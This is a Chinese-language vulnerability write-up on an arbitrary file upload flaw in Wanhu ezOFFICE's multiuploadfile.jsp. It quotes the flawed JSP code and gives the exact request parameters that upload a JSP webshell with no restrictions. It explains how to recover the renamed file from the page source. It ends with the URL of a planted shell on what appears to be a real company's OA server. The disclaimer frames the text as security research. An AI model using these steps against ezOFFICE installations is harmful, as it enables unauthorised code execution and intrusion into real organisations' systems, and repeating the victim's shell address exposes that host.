漏洞作者: goubuli
其实标题可以写“万户ezOFFICE又一处任意文件上传可getshell,无上传限制”,考虑到对厂商的影响,所以标题写的隐晦一点。
万户ezOFFICE又一处任意文件上传可getshell
wooyun上面报了很多万户的文件漏洞,尤其是“北京方便面”和“瘦蛟舞”提交的较多。
今天审计的这个点,wooyun上现在还没人提交。
对应文件:
/defaultroot/public/jsp/multiuploadfile.jsp
出现问题的代码如下:
String filePath="/upload/"+path+"/"; //上传文件存放的位置,path可自定义 if("add".equals(mode)){ //上传标识 boolean tooBig=false; myUpload.initialize(pageContext); myUpload.upload(); for (int j=0;j<myUpload.getFiles().getCount();j++){ myRandom=new com.whir.common.util.Random().getRandom(); //文件名是根据时间生产的一个序列,后面有说明 com.jspsmart.upload.File myFile = myUpload.getFiles().getFile(j); int size=myFile.getSize(); if(fileSize==0 || myFile.getSize()<fileSize){ if (!myFile.isMissing()) { saveName=myRandom+"."+myFile.getFileExt(); fileName=myFile.getFileName(); myFile.saveAs(filePath + saveName); //上传的文件直接保存到对应位置 } }else{ tooBig=true; } } if(tooBig){%>
还有一些参数获取,这里指出两个重要参数:
String mode=(String)request.getParameter("mode"); String path=(String)request.getParameter("path");
其中mode代表命令,path指定特定位置。
那么我们做如下构造:
path=sound&mode=add
提交无需“multipart/form-data”方式提交。
其中:
参数:path=sound 指定的路径为:/defaultroot/upload/sound/
mode=add 为满足if条件,即上传。
第一次上传可能没有数据,跳转页面也可上传。(可以直接用burp提交)
上传成功:
此时可以通过查看页面源码看到改名后的文件:
代码:
<SCRIPT LANGUAGE="JavaScript"> <!-- alert("附件上传成功"); //在调用页面的table列表中显示 opener.reView("<%=saveName%>"); var path="<%=path%>"; var parentTable="<%=tableName%>"; var fileNames="<%=fileNames%>"; var saveNames="<%=saveNames%>"; var obj=eval("opener.window.document.all."+parentTable);
其中saveName为改名后的文件。
然后访问shell:http://oa.yundagroup.com:7001/defaultroot/upload/sound/2014110516441408716191497.jsp
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论